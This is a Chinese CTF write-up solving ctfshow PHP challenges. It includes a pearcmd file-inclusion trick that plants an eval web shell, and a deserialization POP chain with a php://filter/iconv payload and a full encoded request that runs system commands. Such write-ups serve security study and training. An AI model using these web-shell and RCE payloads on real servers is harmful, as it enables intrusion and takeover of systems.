Eazy_include#
首先进来先看一下源代码
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
可以看到这里是一个文件包含并且使用了file伪协议进行读传参的文件,但是这里设置了一个waf将,
换为空(本来以为是要绕过这个玩意看了一堆特性),然后这里就可以牵扯到之前打ACTF2023时候的那个pearcmd,也就是包含一个pearcmd文件然后写入,可以写shell或者你可以直接把文件内容直接cp到另外一个文件里面(前提要有权限)。
首先包含,
POST传参: 1=localhost/usr/local/lib/php/pearcmd.php
然后请求的地址:
/?+config-create+/<?=@eval($_POST['2']);die();?>+/tmp/delete
也就是写进了一个小马进入当前目录shell.php下面ctfshow{38472987-4228-48f8-9a35-cb46010b64c9}
Eazy_web#
进来可以看见是一个反序列化
开胃小菜,就让我成为签到题叭
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}
可以看见这里有两个waf在入口,
waf1#
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
对参数进行正则匹配(匹配了a-z大小写),如果匹配到字母则退出并回显waf1
然后传入的时候是$REQUEST
,有一个特性。这里我们可以做一个测试
实例#
<?php
$a = $_REQUEST;
var_dump($a);
?>
当我们使用GET进行传参的时候便输出
array(1) { ["a"]=> string(1) "2" }
当再使用POST的时候
array(2) { ["a"]=> string(1) "2" ["b"]=> string(1) "1" }
那么如果我让GET和PPOST进行同时传同一个参数就是(GET的值为2,POST的值为10000):
array(1) { ["a"]=> string(5) "10000" }
可以看见这里是直接获取了post的参数,也就是他的特性就是当变量名相同的时候会先获取POST的内容 那么这个地方就可以利用这个特性绕过
waf2#
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2
调用处是waf2($_SERVER['QUERY_STRING']);
,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可
waf_in_waf_php#
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
- 利用了substr_count进行计算base64出现的次数 要求base64的出现次数不能大于一次,然后进行一些正则
链子比较简单:
ctf() __destruct -> show() __call -> Chu0_write __toString
基础的pop:
<?php
class ctf{
public $h1;
public $h2;
}
class show{
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
}
$a=new ctf();
$a->h1=new show();
$a->h2=[[2=>new Chu0_write()]]; //利用preg_match触发
echo serialize($a);
这样就到了RCE的地方了 接下来的构造可以看一下这篇文章: https://tttang.com/archive/1395/#toc_garbage-string 这里放出一个转化的脚本:
<?php
$cmd ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($cmd));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$result = file_get_contents('payload.txt');
$result = preg_replace('/=\r\n/', '', $result);
echo $result;
这里为什么这么写看完上面的文章就知道,是为了利用base64的正则过程搭配iconv的编码转化来构造出自己想要的东西,这里指的就是system了 然后后面输入的时候把它反过来即可 也就是:
name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
从而让后面的chu0拼接后形成system 最后读一下环境变量即可 playload: GET :?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
POST:show[show.show=1&name=1&chu0=1&cmd=1 (关于为什么这里的下划线要换成[这个我前面的文章也有写到过)
eazy_login#
这个是以前的题目了,github上面都有源码 https://blog.csdn.net/m0_73512445/article/details/134879829
参考文章: https://blog.csdn.net/m0_64016126/article/details/135368226